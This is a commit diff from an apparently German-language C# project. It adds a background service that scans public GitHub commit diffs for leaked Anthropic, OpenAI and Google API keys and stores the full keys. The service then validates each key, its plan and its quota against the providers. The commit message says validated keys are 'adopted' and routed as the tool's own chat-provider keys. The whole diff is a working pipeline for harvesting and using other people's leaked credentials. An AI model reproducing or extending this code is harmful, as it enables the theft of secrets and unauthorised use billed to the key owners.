feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs

- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
Meleki committed 2026-03-14 11:19:33 +01:00
1 parent c8859a89d0
commit 542a031172
15 files changed
+614 -90

No files matched your search

+53 -13
View File
@@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService
lock (_lock) return _logEntries.ToList();
}
private void AddLog(string type, string message)
private void AddLog(string type, string message, string details = null)
{
lock (_lock)
{
@@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService
while (_logEntries.Count > MaxLogEntries)
_logEntries.Dequeue();
}
// Persistieren in DB (fire-and-forget)
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "event", details); }
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
});
}
public GitHubEventScannerService(
@@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
scannedCount++;
foreach (var (key, sourceUrl) in keys)
foreach (var (key, sourceUrl, fileName) in keys)
{
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
{
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
continue;
}
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
@@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
pe.Repo, pe.HeadSha[..8]);
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
_logger.LogInformation(logMsg);
// Detailliertes JSON für strukturierte Auswertung
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
repo = pe.Repo,
commit_sha = pe.HeadSha,
file = fileName,
source_url = sourceUrl,
push_size = pe.Size
});
AddLog("key_found", logMsg, detailsJson);
}
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
@@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService
return allEvents;
}
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
{
var keys = new List<(string Key, string Url)>();
var keys = new List<(string Key, string Url, string FileName)>();
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
@@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService
var patch = patchProp.GetString();
if (string.IsNullOrEmpty(patch)) continue;
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
foreach (var line in patch.Split('\n'))
{
@@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService
foreach (var regex in CompiledPatterns)
{
foreach (Match m in regex.Matches(line))
keys.Add((m.Value, htmlUrl));
keys.Add((m.Value, htmlUrl, fileName));
}
}
}
@@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
if (KeyPatterns.IsAnthropic(type))
@@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("Google Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)